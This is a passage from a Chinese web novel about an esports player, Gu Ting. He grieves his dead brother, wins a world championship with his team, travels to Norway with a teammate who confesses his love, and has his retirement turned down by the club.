“还没,也快了,”奶奶笑着看他,“你早说你回来呀,奶奶就给你做好吃的!” “您做什么都好吃。”顾听说。 “这小嘴甜的。你这次是休假吗,在家待几天啊?”老太太回到厨房边忙活边问。 “是的,才打完比赛,”顾听洗手说,“在家待个四五天吧。” “好,好,”奶奶点点头说,“我知道你们战队赢了呢,那天我专门守着直播看的。” “哟。”顾听乐呵了声。 老太太得意地抬了抬下颌。 老妈下班回家看见顾听也被吓了一跳,开口直截了当地问,“你退役了?” 但其实就算告诉老妈,谢澜光被判处死刑,顾听知道老妈也不会释然。无论是怎么样的结局,顾越永远地回不来这片土地,生命截止于20岁。 谢澜光死了,无非图个偿命的道理,但如果偿命能够让另一个人活过来,那么顾听想,老妈才能疏通那口气,自始至终,这个母亲的愿望都是两个孩子平安快乐地长大。 顾越的意外,将老妈整怕了,她钻牛角尖地认为当初若她坚持不同意两兄弟离开家打电竞,顾越就不会死。所以那天,她同顾听争吵,执着地让顾听同她回家,在她眼皮子底下生活。 她说她不能再失去顾听了。 顾听苦笑,“没。” “那你”老妈欲言又止,“算了,在家待几天?” “四五天,”顾听不在意老妈对他别扭的态度,几番开口,话到了嗓子眼儿却没有勇气说出来这个堪称让人高兴的结果,只得话题一转说,“俱乐部让我们休假。” “嗯,才打完比赛是吧。”老妈看了他一眼。 “对。”顾听说。 “吃饭了吃饭了,”奶奶招呼着,“饭桌上聊,嘿嘿,我去倒杯酒。” 老爸不在,一家三口坐在圆桌都显得有些空旷,以前挺挤也挺热闹,顾越吃饭用的左手,每次必要和顾听的右手打架,兄弟俩就会吵吵嚷嚷地辩嘴。如今没有人同顾听的右手打架了,耳边也没有顾越吵闹的嗓音。 “你没有什么话要跟我说吗?”老妈突然问。 顾听错愕抬头,老妈竟然知道吗?不对,老妈应该不会知道。 “你好好说。”奶奶在一旁轻声提醒老妈。 顾听顿了顿,再开口时嗓音沙哑,捏筷子的手越来越紧,“谢澜光判处死刑了。” 饭桌沉静了几秒,老妈还是平常淡和的语气,“做了很多工作吧,又要训练又要忙这件事,累不累?” “不累。”顾听摇摇头。 “小听,你做得已经很棒了,你哥哥也会为你骄傲,”老妈看着他说,“但不要把自己逼得太狠了,开心一点,好吗?如果你后面还想做什么事情,你觉得有意义的话,那就不顾一切地去做吧。” 顾听的心神重震,微微张了张嘴。 “谢谢你,妈妈。” 第38章 第 38 章 你是我的骄傲 墓地被打扫的很干净, 还搁放着一束未凋谢的白菊,可见前不久老妈才来过。 墓碑上,贴着的那张照片顾越笑得很灿烂, 夕阳橙黄色的光刚好打在他少年时期的模样, 如同小时候顾听看到的哥哥身影那般温暖。他蹲下身,蜷起的手指松开,轻点在照片上面,唇角浮现微笑。 老妈老爸不远万里来到上海, 带走装着儿子骨灰的小小盒子, 将他埋藏在自己家乡的土地中。直到今天站在这儿,顾听才能短暂地接受哥哥已经离开他的事实。 和煦暖风吹拂,顾听低头缓缓开口,“哥, 老妈说,你会为我而骄傲,对吗。” 一杯咖啡泼到了键盘里面, 顿时失灵,顾听的裤子也遭了殃。 “对不起啊顾听, 我不是故意的, ”二队的突破手急忙道歉,“我没拿稳,真的不好意思啊。” 是不是故意的,顾听心里很清楚,他没理会, 起身去卧室换裤子,再回到训练室时,二队突破手正和队友吐槽, “一天到晚摆着个脸跟谁看呢,要不是战队看中他哥,他能有水平进一队替补么,网上人喷他喷的没错,顾听不捆绑他哥啥也不是,还对我甩脸子,都说了我不是故意的” 顾听闻言,好笑地勾了勾嘴角,视若无睹地走进去,突破手见他便停止了话语,脸色不太好看。 他修长的手指按动几个键轴,看向突破手,“林耀,我键盘被你的咖啡弄得没法儿使用了,待会儿我把链接发给你,你赔一下哈。” 林耀阴阳怪气地说,“赔就赔呗,你那键盘也不是什么贵重牌子,也早该换了,我没记错的话,你那个键盘是队友当中用的最差的吧?哎,今天还多亏了我的这杯咖啡,不然你还用不上新货。” “唔,说的有道理,”顾听淡然如常,颇为认真地建议,“那争取用你的好键盘进一队哈,别到时候又输给青训生了,多丢脸哇。” “你说什么?”林耀顿时控制不了自己的火气,“有种你再说一遍?!” 林耀通过青训赛晋级二队以后,三进三败一队的考核,打出来的成绩练替补都没得当。这回顾听不敌顾越,竟轻松进入了一队,做顾越的替补,林耀早就看顾听不顺眼很久了。 “生气了啊?”顾听长睫一扫,“生气了就代表你听进去了,非要我再着重强调你第二遍?” 林耀冲过去就要去扯顾听的衣领,被其他队友眼疾手快地拦住,劝他不要冲动。 顾听气定神闲叠着腿拿起手机捣鼓,“键盘链接发给你了哦。” 但下午的训练时间,顾听还没从二队的训练室搬到一队去,自己的键盘坏了,只得用俱乐部配的外设将就使用,骤然,训练室的门被人大力推开,他哥冷着脸巡视周围,视线落及顾听之处,柔和一瞬又移开。 所有人被顾越的阵仗吓了一跳,不明所以地望向门口的青年。 “林耀,是谁?”顾越沉着嗓子问。 顾听倒挺惊讶的,他哥这消息也太快了,况且他都没打算告诉他哥。现在的局势,明摆着顾越帮弟弟算账来了。 训练室就那么点儿大,林耀避无可避,站起身赔笑,“顾越哥,找我有什么事儿吗?” 顾越个子生的高,肩宽腿长的,一米八几的大高个其实在现实生活中视觉效果看起来很有气场,更别说此刻他浑身散发着低气压,迈步朝林耀走过去,慢条斯理地说,“听说你很狂?” 林耀猛地看向顾听,明白过来顾越来找他为什么,他讪讪地笑,“我没——” 顾越一把攥住他的队服衣领,冷声问,“你在不服气什么?不过是三败的垃圾,谁给你的底气?” “顾越哥,你想打架吗?队规有明确规定,成员不能斗殴。”林耀双手抬起来,任由顾越动作,挑了挑眉。 顾越点点头,随手抄起水杯里的水,当着林耀的面儿径直泼向键盘,“哎呀,我不是故意的,这样吧,我弟的键盘不用你赔了,就这样相抵,行不行?” 林耀咬牙,脸色青一阵白一阵,“我这键盘可比顾听的贵多了,这么算,还得补差价呢,顾越哥,你们兄弟俩谁补?” “差价我会补给你,不过在此之前的新账旧账,我们一起来算一算,”顾越笑了笑,“你在背后说了多少我弟的坏话,又是如何开小号在网上带节奏的,我会让俱乐部直接开除你这个二队选手,我说到做到。” 林耀愤愤地从口腔里挤出话语,“你没有这个权力。” “你看我有没有,”顾越说,“战队不需要有你这种败类。” 顾听全程在一旁静静地看着他哥替他打抱不平,直到顾越转过头对他说,“小听,收拾好东西现在立马和我去一队。” 顾听点头,跟在他哥身后,在踏出训练室门的那一刻,他朝林耀弯眼笑,桃花眼饱含万千风情,直叫林耀气得快要吐血。 “哥,是谁告诉你的呀?”顾听轻快地问。 “是谁告诉的我不重要,”顾越食指点了下顾听的额头,“你怎么不第一时间告诉我呢,人家都骑到你头上撒野了。” “我这不是想着都是一个基地的,抬头不见低头见,不想闹得太难看么”顾听捂着额头,嘟囔。 “所以就不告诉我是吧。”顾越无奈地叹气。 “但你总能第一时间知道,”顾听愉悦地哼哼,“我不需要告诉你。” “你小子。”顾越一胳膊将他擒住,“跟哥说说,有没有遗漏的气哥没帮你出?” 全基地上下都知道顾越是个穷极弟控,可并不妨碍别人欺负顾听,顾听不说,不出一个小时,就能传进顾越的耳朵里。 那些网上喷子骂顾听捆绑顾越,蹭顾越之名打造“KG双子星”,种种恶言顾越比顾听刷的都多,他一方面担心顾听受言论影响,一方面亲自下场冲锋,导致顾越的路人缘也挺差。 不过吃电竞这碗饭的,不需要像明星一样有路人缘,实力可以拯救一切口碑,尽管再喷,比赛该有的支持和应援依旧不可少。 顾越担心顾听,顾听清楚顾越担心。 “没有了。”顾听摇了摇头。 “真没有了?”顾越问。 顾听又想了一会儿,“真的没有了。” “嗯,他们说的话你别放在心上,”顾越双手搭在顾听的肩,弟弟比他矮一截儿,他只能微微低头,眼眸认真地看着顾听说,“只听哥哥的,明白么,在哥心中,你不是我的替补。” “你是我的骄傲。” 后来顾越花高价定制了电竞选手专用的键盘,键轴的手感都是根据顾听的测评来打造的,几乎花掉他打比赛得到的大部分奖金,送给了顾听。 “现在全基地,没有人能比你的外设键盘更好了,”顾越笑着说,“连哥也比不上哦。” 这一用,就用了三年。 “别睡啦,小听快醒醒,要着凉咯。” 顾听缓缓睁开眼睛,迷茫了一瞬,等朦胧的视线逐渐清明才看见,他倚靠在他哥的墓碑前睡着了。 脸庞似乎被风吹得湿凉,他抬手一抹,摸到浸润的泪水,长睫上面还挂着几滴泪珠。 “做了个美梦呢,哥,”顾听调整好心绪,“我要走了,等我有时间再来看你。” 这几天游迩把小县城逛了个遍,连同之前和顾听聊天,无意间得出来一条老街弄堂里面的神剑黑网吧,他也去转了一圈。 黑网吧早就已经拆了,现在是新的门面店铺,一个休闲娱乐的茶楼,但弄堂依旧狭窄老旧,还似顾听口中记忆里的样子。 碰头见面启程去贵阳的那一天,顾听问游迩玩了些什么,本以为游迩会说很小很无聊,却听见了不一样的答案,他从小生活的县城在游迩口中说出来,倒显得有那么几分生动趣味。 恰巧也是他和他哥小时候经常去的地方。 “北阳山上有一座庙,听说很灵,我去上面求了一个平安符,送给你,哥,”游迩低垂目光笑了笑,“那上面路修得特别好,风景也挺漂亮的。” 北阳山的那座庙是很灵,他哥死后,老妈也去上面询问了师傅因果,但是有两条路,一条开车的上山公路,还有一条就是千层台阶。有人说必须得心诚则灵爬台阶上山,才会应愿,久而久之,说得人多了,也便有人迷信起来。 “我感觉修台阶的这项工程蛮厉害的,我从前在国外,没见过这么高的台阶,”游迩感慨,“也不知道爬台阶灵不灵,但总归能求个心安。” “谢谢你,小迩。”顾听低声说。 “一个平安符也要说谢谢吗,”游迩笑了笑,“这属实不算很贵重的东西。” “但是小迩心怀诚意去求的,”顾听抬眸看着他,桃花眼弯弯,“那千层台阶我也爬过,小时候我妈非逼着我和我哥锻炼,就让我俩起早去爬台阶,当然,我和我哥也会因为某种事情打赌,谁输了谁就爬,很累的。” “哥。”游迩轻喊。 “嗯?”顾听应。 游迩满脑子都是那句‘但是小迩心怀诚意去求的’,“你真的特别特别好。” 第39章 第 39 章 极光 时间如白驹过隙般过得很快, 转眼又到了一年一度的KWC赛事。 期间,顾听带领SAB一路长虹无一败仗,顾越的事儿尘埃落定解决了之后, 他心无旁骛, 直奔大满贯而去,想完成最后的遗憾。但是,他的情绪好似受了某种影响,他看见他哥的频率次数越来越少了。 游迩率先发觉他的不对劲, 都被顾听搪塞了过去, 并且明确表示他无心想着恋爱这件事。游迩表示理解,顾听沉淀了整整一年,这一年中,由开始的全网黑到现在的全网粉, 他带领SAB作出的实力有目共睹,众人不服也得服,游迩能做的, 就是不在打扰顾听的情况下,让这次到来的KWC顺利完成。 他要让顾听站在金色雨下, 迎接属于顾听的荣耀。 没开灯的训练室漆黑寂静, 只有一台电脑的显示屏泛着微弱的光,CPU风扇发出规律性低鸣。 坐在电竞椅前的青年粉发狼尾垂在肩颈,脸上没什么表情地看着屏幕里的赛事复盘。 快要燃尽的烟夹在修长手指间,卷起来的衣袖在胳膊肘处,露出的鸢尾花文身从小臂一直延伸到瘦削的手腕儿缠绕, 在幽蓝的光亮下显得几分栩栩如生。 看完后,他收拾好键盘和鼠标放进自己的外设包里,还有一张旧黄的在东方明珠下的全家福照片。 关闭电脑, 他单肩背着包走出训练室锁门,再推门时。 前方是人声鼎沸的世界级电竞赛场,他迎着欢呼,长腿缓步迈了进去,聚焦灯的灯光打在他的队服名字上,SAB-Listen。 中国直播镜头转播,这次KWC的地点是在法国的巴黎,晋级战队分别来自上海的SAB、成都的零域,零域成功晋级四强,而SAB对战美国战队SPD,游迩的前战队,角逐全球冠军杯。 这是巅峰之战,全球瞩目,更是SAB的翻身之战,如若能够打败SPD,便能破除中国永远打不过欧服的定律,坐上世界第一战队的位置上,五个选手也能一跃成为世界顶级电竞选手。 哪怕输了,SAB也会从中得到不少的价值,可以说就是双赢。 不过,顾听这回没想着输。 他一定要赢。 “打你的前战队啊,”老韩对游迩说,“不要顾及旧情心慈手软哦。” “不会。”游迩目光看向顾听。 “料游迩也不会吧,他都把他们的弱点全部告诉我们了,”陈述说,“所以这场必须赢,不赢的话,默认游迩当了叛徒。” “哎,对,把锅全甩给游迩,给我们提供错误情报。”魏寻也附和。 游迩没在意他们开玩笑的话语,视线始终不离顾听。 队友赛前的活跃气氛聊天,顾听依旧没参与话题,他沉默地收拾外设,心中思量另一件事儿。 今天哥哥能来吗? 他能看见他吗? 他已经快一个月,没有看到过顾越了 游迩走过去攀住顾听的肩,询问,“哥在紧张么?” “不紧张,”顾听摇头说,“你们呢,紧张吗?” “你看他们像紧张的样子吗,”游迩笑着说,“一定能赢的。” “距离比赛还有十分钟,我们随着镜头可以看到,双方战队成员已经逐步落座调试设备了,看SAB的成员状态模样,都挺精神抖擞的。”中国直播平台转播镜头里,解说员为线上看比赛的竞粉们讲解。 “去年SAB因为一些失误惜败法国战队,无缘冠军奖杯,止步八强,今年可谓是势如破竹,所向披靡,倒真应了他们战队的名字了,”解说乙说,“而且我们的零域战队也很棒啊,虽然停止在了四强,但对于所有战队来说,也是一个不错的成绩。” “SAB的队长Listen自冬季赛开赛以来,就没失手过吧,网上粉丝调侃他神挡杀神,佛挡杀佛,一路闯进KWC争夺冠军,杀疯了,”解说丙语气唏嘘震惊,“把把MVP啊,如果,如果这次他带领SAB拿下KWC冠军杯,安雅会有一个FMVP皮肤吗。” “肯定会有啊,”解说甲说,“Cross在世时三连冠的三年,不就拿了三个FMVP。” “期待Listen和他队友的表现呢。” “SPD毕竟是世界t0级战队,成绩维持的有十年了,SAB胜利的机会不是没有,但是这场对决是真艰难。” BP环节,顾听率先一手B了安雅,选择安妮,他哥的本命英雄。 “你说你前队的突破和反侵势不可挡?”顾听戴着耳机,清冽的嗓音随着音频传入游迩的耳中。 “嗯,他们俩单人拎出来破绽能看出来,两个人无解。”游迩说。 “小迩,拿芬恩,”顾听指挥道,“看看是他们厉害,还是我们厉害。” “收到。”游迩勾起唇角。 地图塞壬小镇,兜兜转转,彷佛回到了起点。 第五局下来,双方基本都已摸清楚彼此的战术计划和配合攻略,最后的奋战,就是拼意志的时刻,纯刚枪。 “每把的战线都拉的很长啊,基本都半个小时以上才结束,”解说甲说,“每个人的状态肉眼可见明显地下滑了,都陷入疲惫了。” “往往这个时候就是考验选手的心理素质,心态稍微崩一点局面都会改变——等等?!刚发生了什么?”解说丙一下瞪大了眼,嗓音激动,“SPD的反侵者和突破手被击败了,Listen一人拿下了双杀!” “还没停,还在继续!”解说持续观战,目光不移画面地大吼,“最强的组合死了,Listen在队友的掩护下只身闯进了枪的基地,协防者毫无还手之力!三杀!爆破手迅速回防,但已经没时间了!” 画面回防,顾听面无表情,呈现出在闯关冬季联赛无法抵挡的姿态,先是在游迩吸引火力的情况下绕后,带走突破和反侵,又切换重枪找到协防,救援资源在这大后期为了保护队友没有再可供血条的急救包了,于是他又击败了协防。 “四杀!爆破手倒了,Listen被狙击手狙成了丝血,他还要战吗?” 世界寂静。 顾听沉重地喝出一口气,即使是丝血用移速技能跳到了狙击手位置的海神塔,同时,狙击枪和重枪的黑洞枪口彼此对准人物角色的脑袋。 嘭—— “五杀!!!!”无论是镜头中还是镜头外的所有观众,全场跳起来沸腾欢呼。 “K枪吧。”顾听淡然吐出三个字。 他的人物视角画面从高空跌落逐渐变灰的那一刹那,他的队友成功奔向对方基地KillGun,游戏胜利。 他们是冠军。 陈述和魏寻也瞬间摘下耳机,奔向顾听紧紧抱住,喜极而泣地大叫,“队长,我们是冠军!” “太精彩了,太精彩了,Listen五杀开路!这波纳入KG电竞史诗级精彩cut!五杀中的天花板!”解说嗓音都有了哽咽,“让我们恭喜中国战队SAB,恭喜SAB的每位电竞选手!祝贺他们夺得KWC全球总冠军!” 赛场灯光璀璨的内馆下起了金雨。 顾听被队友簇拥着捧起冠军杯,他的视线全是金色的飘带,恍惚间,他看见他哥站在不远处,双眼似月牙地看着他,轻轻鼓掌,目光中几乎快要溢满的骄傲。 “小听,你做到了,”顾越温柔地说,“你是哥的骄傲啊。” 热泪无声地顺着脸颊往下滴落,顾听在满潮人群的欢呼声隔着金雨与他哥遥遥相望,悬着的心终于尘埃落定。 他更加坚定地和队友捧起了奖杯。 但他再朝前方看过去时,他哥满身荧光,正在慢慢消失。 顾听大脑一阵嗡鸣。 “我该走了,小听,”他听见顾越说,“你会永远坚强,你永远无坚不摧,无所不能。” “不不要离开我”顾听崩溃地抱住头,“不!” 猛地惊醒,浑身汗湿一片。 顾听躺在床上盯着夜晚漆黑的卧室天花板,还未从噩梦中缓过来。 距离KWC已经过去半个月了,他没等来顾越,他再也看不见顾越了。顾听侧了侧头,书柜上面摆放着夺冠的金灿奖杯,静静地搁置在那里。 顾听坐起身单手捂着脸,而后翻身下床,踱步走向奖杯。这半个月,他试过很多次方法,顾越一次也没来,哪怕他试图伤害自己。 到底是怎么回事,顾听也说不清不是说会永远陪着他吗,顾越就是个骗子! 极光。 对,他还有一件事没有完成。 就是去挪威看真正的极光,而不是游戏里被画笔渲染出来构造的极光。 北欧国家的签证不太好办,他花了一段时间才办下签证,期间游迩还插手帮了些忙。 游迩放心不下他一个人,便同他一起去挪威,但他万万没想到的是,顾听竟然朝管理层递交了退役申请书—— 作者有话说:数据不好,砍纲完结了,写这本陷入了极大的瓶颈,抱歉。《 》 【END】 第40章 第 40 章 一辈子很长…… 北欧漫长极夜和静默的环境, 使得他们国家患抑郁症的人群很高,这也是游迩不放心顾听一个人来的原因。 顾听很快发现他心中所想,对他微微一笑, 安慰道, “放心吧小迩,我就只是单纯地来完成一个愿望。” “哥有很久都不开心了。”游迩低垂目光看着顾听戴着手套的手,他不动声色地挪动步子,逐渐靠近顾听, 手指微蜷, 在雪夜下坚定地握住那只手。 倏然被掌心的温暖包裹,顾听一愣,到底是没有抽出来,任由对方握着, 抬头看向天边极光,坦然应道,“嗯, 但现在很开心。” “对着极光许愿,会很灵。”游迩低声说, “也会带走一切厄运, 哥要不要试试?” “行吧。”顾听闭上了眼。 在挪威的这些天,顾听的心灵得到了很大程度上的净化,也想明白了很多事。 哪怕是再也见不到顾越,他的生活也依旧要继续,他好像终于冲破那囹圄的牢笼, 获得了属于自己的生活。 那我许愿,许愿我的家人平安顺遂,我的好友诸事顺意。 游迩单睁了一只眼瞄向顾听, 朝极光许愿。 希望世上所有幸运的事情都降临在顾听的身上。 游迩的掉马也掉在了挪威。 当时顾听本来还不知道的=,是宋星辞发给他的微博链接,应当是之前他们所说的什么cp粉扒出来的。 顾听点进去一看,附带的几张截图里,经常来看他直播的榜一用户688的主页ip地址就在挪威。 如果说美国、上海很大众,就算挪威也很大众吧,可有那么多的巧合?游迩在哪个城市,688哥就在哪个城市吗? 晚上,他们在当地的小镇吃饭,离民宿不远,甚至不用专门跑到观景台去看极光,这儿的地理位置极好,哪怕是餐厅还是在民宿,只要靠窗就很看见远处天边绿色飘带荧光。 除开寥寥无几的游客,小镇的居民稀少,很空旷,连带着他们吃饭的地方只有他俩。 顾听适时开口问,“小迩,你还有什么事儿瞒着我吗?” 游迩舀酸奶的手一顿,泰然自若地回,“我能有什么事儿瞒着哥。” “好叭。”顾听拿起手机,登录他直播平台的软件,超级会员的私信坐落前排,688哥前不久祝贺他KWC夺冠的私信红点他还未点。 他动了动手指,回复:谢谢qvq。 同一时刻,游迩搁在桌上的手机响了,设置的特别关注铃声格外突出。 他猛地抬头看向顾听,灰眸讶然。 “占了这么久的便宜呢,小迩,”顾听得知这件事儿后并没有生气,反而觉得不可思议,也觉得缘分这玩意儿无法诉说,“688哥?” 游迩急了,伸手握住顾听的手,“哥,你听我解释。” “嗯?”顾听偏头挑了挑眉。 “我不是故意隐瞒这个身份的,而是觉得没必要告诉你用户688是我,”游迩说,“在我看来,688就是Listen的粉丝而已,他应当去为自己的偶像冲锋、打赏,虽然这么说很多人觉得不舒服,但事实就是如此。” “Listen为什么会有那么多竞粉支持,不就是因为他们能看到你的努力吗,688也一样,当我反应过来的时候,我喜欢你已经喜欢的无法自拔了。” 顾听瞳仁轻颤,“小迩” “顾越哥还未去世的时候,我看你的直播,看出来你勇往直冲的猛劲儿,那个时候你很开心,也有很大的目标,就是打败顾越哥,”游迩滚了滚喉结,“我败于你手,我也想打败你,但自从顾越哥离开你以后,你的眉眼总是铺着一层化不开的悲伤。” 顾听笑了笑,“对,我以为我藏得很好呢。” “你的弹幕有好多不堪入目的评论,你每次看到也一笑而过,如果可以,我宁愿自己有三头六臂,不仅只拘泥于688这一个账号为你反黑冲锋,”游迩往后一靠,松了口气说,“还好,我现在终于站在你身边了,我会让你开心。” “你做的已经很多了,”顾听说,“微博还有论坛,先前魏哥告诉我,我有个粉丝特别厉害,以一敌百,舌战群儒,还给我发了图,不过那时候我没太在意,只觉得这个粉丝很厉害,他是你吗?” “是我。”游迩点头说。 顾听了然,轻声呢喃,“原来已经这么久了啊。” “哥说什么?”游迩问。 “没什么,”顾听笑着摇头,突然灵光一闪,“你练反侵者” “对,想做你的后背。”游迩笑了起来。 从挪威回来后,管理层把顾听的退役申请给拒绝了。 老板站在会议室的落地窗前,听见顾听进门的声音,让他落座,开口说,“第一次见到你和你哥,身高应该才”他用手比划了下,“这么高点儿,转眼匆匆几年,已经成长为半大小子了。” 尽管有一段时间网上抨击SAB的管理层不做人,但双顾其实和这资本家并没有矛盾,顾越去世后,他被推到风口浪尖担任一队队长,也是同意管理层这样的安排。 况且俱乐部对他们选手,不说太人性化,起码不坑,离开的、退役的电竞选手都是和平签下协议书。 “五年,时间说长不长,说短也不短,”老板转过身笑着看顾听,“我也算是看你们俩长大的,顾越的离开让我也很痛心,小听,真的谢谢你,让SAB走向世界,噢对了,SAB这个名儿还是你和你哥取的呢,严格意义上讲,你俩是SAB的缔造者。” “老板,功成不必在我,SAB所有为梦想战斗的电竞选手,他们都是缔造者,”顾听笑了笑,“我和我哥也为今天的结果感到开心。” “但攻成必定有你,这句话还是去年KWC上你当着全世界的面儿说的,”老板说,“你才19岁,未来还有无限可能,我也很期待你能带给KG更多的奇迹,所以再留下吧,SAB需要你。” “而且,我相信你的队友也不会就这么放你离开。”老板抬了抬下颌示意顾听往后面看,陈述他们几个躲在门口偷听,打算顾听拒绝了老板就闯进来跪求他不准走。 “等你哪天真正开心快乐了,再离开吧。” “队长!”他们齐声喊。 夕阳西下,俱乐部的天台站着SAB一队的成员,彼此眺望上海高耸成型的CBD高楼,回想起当初才来大城市的彷徨与无措,在没打出成绩前,他们所有人都是无名的人。 如今,已经在理想的道路上越跑越远了,名字被映在荣誉墙上,面孔投放在各个城市大屏。 顾听的目光触及远方,而游迩视线落在他身上。 后来,游迩追逐顾听的背影与得以同青年并肩,他知道,要想养好一只卡皮巴拉需要付出很多的时间和精力。 但是没关系,一辈子很长,他可以慢慢来养—— 作者有话说:下一本写专栏《黄沙百战穿金甲》,等我克服写作瓶颈再动笔吧(躺《 》